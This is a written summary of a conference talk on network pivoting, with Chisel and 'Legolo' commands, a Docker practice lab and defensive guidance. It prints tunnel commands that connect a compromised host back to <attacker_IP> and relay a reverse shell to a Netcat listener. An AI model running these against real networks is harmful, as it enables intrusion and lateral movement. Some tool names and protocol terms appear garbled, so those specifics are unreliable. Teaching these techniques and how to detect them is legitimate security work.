Build Your Own Pivoting Lab: A Starting Point for Internal Network Exploration

Build Your Own Pivoting Lab: A Starting Point for Internal Network Exploration

Speakers: Francisco Canteli, Head of Offensive Security, Hackmetrix

Conference: CODE BLUE

YouTube: https://www.youtube.com/watch?v=7sgpqjIzGDI

Overview

In this insightful CODE BLUE presentation, Francisco "Franki" Canteli, Head of Offensive Security at Hackmetrix, demystifies the critical penetration testing technique of pivoting, offering a hands-on approach for security professionals to master internal network exploration. The talk, titled "Build Your Own Pivoting Lab: A Starting Point for Internal Network Exploration," goes beyond theoretical concepts, providing attendees with a tangible, open-source lab environment to practice and evaluate various pivoting tools. Canteli's primary objective is not just to explain how pivoting works, but to equip the audience with a practical platform to learn, experiment, and test the efficacy of different tunneling solutions in realistic, multi-hop scenarios.

Canteli meticulously breaks down the methodology behind establishing an internal foothold, emphasizing the importance of initial reconnaissance, privilege escalation, and strategic use of compromised machines as pivot points. The presentation delves into various port forwarding techniques—local, remote, and dynamic—illustrating their applications with clear examples. A significant portion of the talk is dedicated to comparing two prominent open-source pivoting tools, Chisel and Legolo, highlighting their strengths, limitations, and optimal use cases. By providing a Docker-based pivoting lab on GitHub, Canteli empowers security enthusiasts and professionals to hone their skills in a controlled environment, fostering a deeper understanding of lateral movement and internal network compromise.

This talk is crucial for both offensive and defensive security practitioners. For red teamers and penetration testers, it offers a robust framework and practical tools to enhance their internal network exploration capabilities. For blue teamers and incident responders, understanding these techniques is paramount for anticipating attacker movements, designing effective network defenses, and detecting sophisticated lateral movement within their environments. Canteli's practical contribution of a ready-to-use lab environment significantly lowers the barrier to entry for mastering these complex, yet fundamental, security concepts.

Background

▶ Watch: Introduction, speaker, and talk agenda overview (0:00)

Pivoting is a cornerstone technique in advanced penetration testing and red teaming, allowing attackers to bypass network segmentation and access otherwise unreachable internal systems. It begins after an initial compromise of an external-facing machine, which then becomes the pivot point. From this point, the attacker leverages the compromised machine's network access to explore and exploit other systems within the internal network. This technique is indispensable because many high-value targets, such as databases, application servers, or domain controllers, reside deep within segmented internal networks, inaccessible directly from the internet.

Canteli outlines a systematic methodology for effective pivoting:

1. Initial Compromise: Gaining control over the first machine (the pivot point).
2. Reconnaissance: Understanding the compromised machine's environment, including identifying network interfaces and installed tools. This often involves Living Off The Land (LOTL) techniques, utilizing pre-existing binaries on the system to avoid suspicion.
3. Privilege Escalation: If necessary, escalating privileges on the pivot point to gain broader access or execute specific tools.
4. Network Interface Identification: Crucially, identifying all network interfaces on the pivot point to understand its connectivity to different internal segments. For example, a machine might have an interface connecting to the DMZ and another to a critical internal subnet.
5. Ping Sweep: Performing a basic network scan to discover active hosts on newly identified internal networks.
6. Port Forwarding: Establishing tunnels to direct traffic between the attacker's machine and internal targets via the pivot point.

The talk elaborates on three primary port forwarding techniques:

• Local Port Forwarding: Redirects traffic from the attacker's local machine to a remote target through the pivot. A common scenario is accessing an internal web server (e.g., internal.website.com:80) from the attacker's machine by setting up a local port (e.g., localhost:8080) that tunnels to the target via the pivot.
• Remote Port Forwarding: Redirects traffic from a remote target back to the attacker's machine via the pivot. This is typically used for receiving reverse shells, where the target connects to a port on the pivot, which then forwards the connection to the attacker's listening port.
• Dynamic Port Forwarding: Creates a SOCKS5 proxy tunnel between the attacker and the pivot. This allows the attacker to route multiple types of traffic (e.g., web browsing, Nmap scans) through a single tunnel to access various services on the internal network. SOCKS5 operates at Layer 5 (the session layer) of the OSI model.

However, Canteli highlights a significant limitation of SOCKS5 tunnels: their inability to handle ICMP (Internet Control Message Protocol) traffic, which operates at Layer 3 (the network layer). This means standard ping commands will not work through a SOCKS5 tunnel, hindering initial network discovery. Furthermore, performing Nmap scans through SOCKS5 is possible but with caveats; it often requires using slow, TCP connect scans (e.g., nmap -sT), which can be inefficient and easily detectable. These limitations set the stage for exploring more advanced tunneling solutions that overcome SOCKS5's constraints.

Key Findings

▶ Watch: Understanding local, remote, and dynamic port forwarding (3:25)

Canteli's presentation unveils several key findings concerning effective internal network exploration and the tools that facilitate it:

First, the talk underscores that while the concept of pivoting is well-known, its practical application requires a deep understanding of port forwarding techniques and their underlying network implications. Canteli meticulously demonstrates that Chisel is a simple, effective, and widely recognized tool for establishing various port forwarding tunnels. Its ability to tunnel TCP/UDP over HTTP and secure connections via SSH makes it highly versatile, particularly for bypassing basic firewall rules. However, a critical finding is Chisel's reliance on SOCKS5 for dynamic port forwarding, which introduces significant limitations, such as the inability to perform native Layer 3 operations like ICMP pings and slower, more detectable Nmap scans (-sT).

Second, the presentation introduces Legolo as a powerful alternative that addresses the shortcomings of SOCKS5-based tunnels. Canteli highlights that Legolo's innovation lies in its use of TUN interfaces instead of traditional SOCKS proxies. By creating a userland network stack, Legolo allows attackers to establish a virtual network interface on their attacking machine that directly interacts with the internal network through the pivot. This means that standard network tools, including ping and comprehensive Nmap scans, function seamlessly and natively through the Legolo tunnel, overcoming the Layer 3/Layer 5 compatibility issues faced with SOCKS5. This makes Legolo a more flexible and robust solution for extensive internal network reconnaissance and interaction.

Third, a central and empowering finding of the talk is the provision of a "Pivoting Lab"—an open-source, Docker-based environment designed for hands-on practice. This lab, available on GitHub, is not merely a theoretical construct but a multi-hop internal network simulation (supporting 6-7 hops) that allows users to deploy, experiment, and test different pivoting tools and techniques in a realistic, consequence-free setting. This resource directly addresses the common challenge of gaining practical experience in complex network scenarios without needing access to real-world environments or expensive commercial platforms.

Finally, Canteli's comparison of Chisel and Legolo provides a clear distinction for practitioners: Chisel is excellent for quick, targeted port forwarding and firewall bypass, while Legolo offers a more comprehensive and native network interaction capability, albeit with a slightly more involved setup. The ultimate choice depends on the specific requirements of the penetration test, but the ability to choose an appropriate tool based on its technical merits and limitations is a key takeaway from this detailed analysis.

Technical Deep Dive

▶ Watch: Limitations of dynamic port forwarding (Socks5) for ICMP/Nmap (7:00)

The technical core of Canteli's talk revolves around the practical implementation of pivoting through port forwarding and the comparative analysis of two prominent tools: Chisel and Legolo. The underlying scenario for demonstration involves an attacker PC, a pivot point (referred to as "SH PC") with two network interfaces, and an internal network containing a target web server. The pivot point's interfaces are crucial: one connects to the attacker's network (e.g., 10.1.1.10/24), and the other connects to a separate, internal network (e.g., 192.168.1.11/24) that the attacker cannot directly reach.

Port Forwarding Techniques in Detail

Canteli meticulously explains the mechanics of each port forwarding type:

1. Local Port Forwarding: This technique is used when the attacker wants to access a service on the target internal network. The attacker's machine listens on a local port, which then tunnels connections through the compromised pivot point to the target.

• Scenario: Attacker wants to access an internal website at 192.168.1.100:80.
• Chisel Implementation: The Chisel server is started on the attacker's machine (e.g., chisel server -p 8000 --reverse). On the pivot point (SH PC), the Chisel client connects to the attacker's server and establishes the local forward rule: chisel client <attacker_IP>:8000 R:5050:192.168.1.100:80. This command tells the pivot to redirect connections received on the attacker's machine at port 5050 to the internal web server's port 80. The attacker can then browse localhost:5050 to access the internal website.

1. Remote Port Forwarding: This is typically used for receiving reverse shells. The target system connects to a port on the pivot point, which then forwards the connection back to a listener on the attacker's machine.

• Scenario: Compromised web server needs to send a reverse shell to the attacker.
• Chisel Implementation: The Chisel server is again run on the attacker's machine (e.g., chisel server -p 8000). On the pivot (SH PC), a client rule is created: chisel client <attacker_IP>:8000 L:5555:<attacker_IP>:4444. This instructs the pivot to listen on port 5555 and forward any incoming connections to the attacker's machine on port 4444. The attacker sets up a Netcat listener (nc -lvnp 4444). Finally, the compromised web server executes a reverse shell payload connecting to the pivot's IP and port (10.1.1.10:5555), and the shell is relayed to the attacker.

1. Dynamic Port Forwarding (SOCKS5): This creates a SOCKS5 proxy, allowing the attacker to route various network traffic through a single tunnel.

• Scenario: Performing comprehensive reconnaissance (ping sweeps, Nmap scans, web browsing) on the internal network.
• Chisel Implementation: The Chisel server is started on the attacker's machine. On the pivot, the client establishes a SOCKS5 tunnel: chisel client <attacker_IP>:8000 S:1080. This creates a SOCKS5 proxy on the attacker's machine, accessible on port 1080.
• Usage: The attacker then configures ProxyChains (/etc/proxychains.conf) to use this SOCKS5 proxy (socks5 127.0.0.1 1080). Tools like nmap can then be run through ProxyChains (e.g., proxychains nmap -sT 192.168.1.0/24). Canteli explicitly warns that standard ping (ICMP) will not work due to SOCKS5 being Layer 5, and Nmap scans must use the -sT (TCP connect) flag, making them slower.

Legolo: Overcoming SOCKS5 Limitations

Canteli then introduces Legolo as a more flexible and powerful alternative, particularly for dynamic port forwarding. Legolo differentiates itself by creating a TUN interface rather than a SOCKS5 proxy.

• Mechanism: Instead of proxying individual TCP/UDP streams, Legolo establishes a userland network stack. All packets sent to this virtual TUN interface on the attacker's machine are translated and transmitted through the Legolo agent on the pivot point to the remote internal network. This effectively creates a Layer 3 tunnel.
• Advantages: Because it operates at Layer 3, Legolo overcomes the limitations of SOCKS5. Attackers can perform native ICMP pings, full-featured Nmap scans (without -sT restrictions), and other Layer 3/4 operations directly through the tunnel.
• Implementation:

1. Attacker Setup: Create and configure a TUN interface (e.g., sudo ip tuntap add mode tun legolo0, sudo ip link set legolo0 up, sudo ip addr add 10.0.0.1/24 dev legolo0). Start the Legolo proxy (e.g., legolo proxy --cert cert.pem --key key.pem).
2. Pivot Agent: The Legolo agent on the compromised machine connects back to the attacker's proxy (e.g., legolo agent --ignore-certs <attacker_IP>:8443).
3. Route Configuration: Once the session is established, the attacker adds a route on their machine to direct traffic for the internal network through the legolo0 interface (e.g., sudo ip route add 192.168.1.0/24 dev legolo0).

• Usage: After the route is added, any tool on the attacker's machine (e.g., ping 192.168.1.100, nmap 192.168.1.100) can directly interact with the internal network as if the attacker were on that network, without needing proxychains or special flags.

Canteli's deep dive clearly illustrates that while Chisel is simple and effective for basic tunneling, Legolo provides a more robust and transparent network access experience, making it ideal for comprehensive internal network exploration where Layer 3 capabilities are essential.

Demo / Proof of Concept

▶ Watch: Introducing the open-source pivoting lab for practice (27:00)

Francisco Canteli's presentation is heavily supported by practical demonstrations, both pre-recorded video segments and live walkthroughs of his Pivoting Lab. These demos effectively illustrate the mechanics and advantages of Chisel and Legolo in various pivoting scenarios.

Chisel Demonstrations

1. Local Port Forwarding (Accessing Internal Website):

• Scenario: Attacker wants to access an internal web server (192.168.1.100) from their machine.
• Setup: Chisel server is started on the attacker's PC in reverse mode (chisel server -p 8000 --reverse). On the pivot point (SH PC), a Chisel client connects to the attacker and creates a local forwarding rule: chisel client <attacker_IP>:8000 R:5050:192.168.1.100:80.
• Result: The attacker successfully accesses the internal website by navigating to localhost:5050 in their browser, demonstrating seamless redirection through the pivot.

1. Remote Port Forwarding (Receiving a Reverse Shell):

• Scenario: A compromised web server needs to send a reverse shell back to the attacker.
• Setup: Chisel server starts on the attacker's PC (chisel server -p 8000). On the pivot, a Chisel client establishes a remote forward: chisel client <attacker_IP>:8000 L:5555:<attacker_IP>:4444. The attacker sets up a Netcat listener (nc -lvnp 4444).
• Result: The web server executes a payload connecting to the pivot's IP and port (10.1.1.10:5555). The connection is forwarded, and the attacker receives a reverse shell on their 4444 port, proving remote access through the pivot.

1. Dynamic Port Forwarding (SOCKS5 Tunnel for Reconnaissance):

• Scenario: Attacker needs to perform comprehensive reconnaissance (ping sweep, Nmap scan, web browsing) on the internal network.
• Setup: After identifying the internal network (192.168.1.0/24) via ifconfig and a basic ping sweep on the pivot, a Chisel server starts on the attacker's PC. On the pivot, a client establishes a SOCKS5 tunnel: chisel client <attacker_IP>:8000 S:1080.
• Result: The attacker configures proxychains.conf to use socks5 127.0.0.1 1080. They then demonstrate proxychains nmap -sT 192.168.1.100 to scan the web server and proxychains firefox to browse the internal website, confirming multi-service access. Canteli reiterates the SOCKS5 limitations regarding ping and the necessity of the -sT flag for Nmap.

Legolo Demonstrations

1. Dynamic Port Forwarding (TUN Interface for Native Access):

• Scenario: Attacker desires native Layer 3 access to the internal network, overcoming SOCKS5 limitations.
• Setup: On the attacker's PC, a TUN interface (legolo0) is created and configured. The Legolo proxy is started. On the pivot point, the Legolo agent connects back to the attacker's proxy. Once connected, the attacker adds a route (ip route add 192.168.1.0/24 dev legolo0) to direct internal network traffic through the legolo0 interface.
• Result: The attacker successfully pings the internal web server (ping 192.168.1.100) and accesses the internal website directly from their browser, demonstrating Legolo's ability to provide transparent, native network access without proxychains or Nmap flag restrictions.

1. Reverse Port Forwarding (with Legolo):

• Scenario: Similar to Chisel's remote forwarding, receiving a reverse shell through Legolo.
• Setup: After establishing the Legolo tunnel, a rule is created within Legolo to redirect connections received on the pivot's port 5555 to the attacker's port 4444. The attacker sets up a Netcat listener.
• Result: A reverse shell from the web server connecting to the pivot's 5555 is successfully forwarded to the attacker, showcasing Legolo's versatility beyond just dynamic tunneling.

The Pivoting Lab

A significant part of the "Proof of Concept" is the introduction and live walkthrough of Canteli's "Pivoting Lab".

• Availability: Hosted on GitHub, the lab is an open-source, Docker-based environment.
• Deployment: Easy to deploy with git clone and docker-compose up.
• Features: Includes multiple virtual machines to simulate a multi-hop internal network (designed for 6-7 hops). Comes with a detailed walkthrough available in both English and Spanish.
• Purpose: The lab serves as a crucial resource for users to practice the techniques demonstrated, test Chisel and Legolo, and evaluate other pivoting tools in a controlled, realistic environment, thereby reinforcing the talk's core message of hands-on learning.

These comprehensive demonstrations, combined with the readily available lab, provide a strong practical foundation for understanding and implementing advanced pivoting techniques.

Defensive Implications

▶ Watch: Tool comparison (Chisel vs. Legolo) and audience Q&A (34:00)

While Francisco Canteli's talk primarily focuses on offensive techniques for internal network exploration, the insights gained are invaluable for defensive security (blue team) operations. Understanding how attackers pivot within networks is critical for designing effective security architectures, implementing robust detection mechanisms, and responding swiftly to incidents.

1. Network Segmentation and Egress Filtering:

• The core principle of pivoting relies on a compromised machine having access to multiple network segments. Robust network segmentation is the first line of defense. By isolating critical assets into separate VLANs or subnets with strict access controls, defenders can limit the lateral movement capabilities of an attacker.
• Egress filtering is paramount. Attackers use tools like Chisel and Legolo to establish outbound tunnels from compromised hosts. Firewalls should be configured to restrict outbound connections to only necessary ports and protocols. Detecting unusual outbound HTTP/HTTPS traffic (Chisel) or custom DLS/TCP traffic (Legolo) on non-standard ports can indicate an active tunnel. For example, if a database server suddenly initiates an outbound connection on port 8000 or 8443, it should trigger an alert.

1. Endpoint Detection and Response (EDR) and Host-Based Monitoring:

• Attackers deploy binaries like chisel or legolo agent on compromised hosts. EDR solutions should monitor for the execution of unknown binaries, especially those with network capabilities.
• Look for processes initiating unusual network connections or creating new network interfaces (e.g., TUN interfaces by Legolo). Anomalous process behavior, such as a web server process spawning chisel or legolo agent, is a strong indicator of compromise.
• Host-based firewalls should be configured to restrict outbound connections from critical servers.

1. Intrusion Detection/Prevention Systems (IDPS) and Traffic Analysis:

• IDPS can be configured to detect signatures or anomalous patterns associated with common tunneling tools. While Chisel tunnels over HTTP/SSH, Legolo uses DLS/TCP. Monitoring for non-standard DLS traffic or encrypted tunnels on unexpected ports can be effective.
• Deep Packet Inspection (DPI) can help identify the actual protocol inside the tunnel, even if it's encapsulated in HTTP. For instance, detecting SOCKS5 traffic within an HTTP tunnel might indicate Chisel usage.
• Monitoring for high volumes of traffic originating from a single internal host to multiple internal destinations, especially after an initial alert, can signal active reconnaissance through a pivot.

1. Least Privilege and Attack Surface Reduction:

• Implementing the principle of least privilege for user accounts and service accounts is crucial. If a compromised account has minimal network access, the attacker's ability to pivot will be severely limited.
• Regularly auditing network configurations and ensuring that only essential ports are open and services are running reduces the overall attack surface.

1. Logging and Alerting:

• Comprehensive logging of network connections, process executions, and system events is fundamental. This includes firewall logs, proxy logs, and host-based logs.
• Effective alerting on suspicious activities, such as repeated failed login attempts, unusual data transfers, or the creation of new network routes on internal hosts, is necessary for timely detection and response.

By understanding the mechanisms of tools like Chisel and Legolo, defenders can anticipate how attackers will attempt to move laterally and implement layered security controls to detect, prevent, and mitigate these sophisticated pivoting attacks.

Key Takeaways

• Pivoting is an Indispensable Post-Exploitation Technique: It is a fundamental skill for penetration testers and red teamers, enabling access to internal network segments otherwise unreachable from an initial compromise.
• Chisel Offers Simple and Effective Port Forwarding: Chisel is a versatile tool for establishing local, remote, and dynamic port forwards, leveraging HTTP/SSH tunneling to bypass firewalls, but its SOCKS5-based dynamic forwarding has limitations (no native ICMP, slower Nmap scans with -sT).
• Legolo Provides Superior Flexibility with TUN Interfaces: By creating a userland TUN interface, Legolo overcomes SOCKS5 limitations, allowing for native Layer 3 network interaction (e.g., standard ping, full Nmap scans) and a more transparent experience for internal network reconnaissance.
• The "Pivoting Lab" is a Crucial Hands-On Resource: Francisco Canteli's open-source, Docker-based lab environment, complete with a multi-hop network and walkthroughs, provides an invaluable platform for practitioners to develop and refine their pivoting skills in a controlled setting.
• Defenders Must Understand and Counter Pivoting Techniques: Blue teams need to implement robust network segmentation, strict egress filtering, comprehensive endpoint monitoring for unusual binaries and network activity, and deep packet inspection to detect and prevent sophisticated lateral movement.
• Tool Selection Depends on Scenario: The choice between tools like Chisel (simple, firewall bypass) and Legolo (native network interaction, overcoming SOCKS5 limits) should be based on the specific requirements of the engagement and the desired level of network interaction.

About the Speaker(s)

Francisco "Franki" Canteli is the Head of Offensive Security at Hackmetrix. With a strong background in cybersecurity, he holds several international certifications, including Offensive Security Certified Professional (OSCP) and Burp Suite Certified Practitioner (BCB). Franki is an active member of the security community, frequently sharing his expertise by speaking at various conferences. In his free time, he enjoys engaging in Capture The Flag (CTF) competitions, such as Hack The Box, to continuously hone his offensive security skills.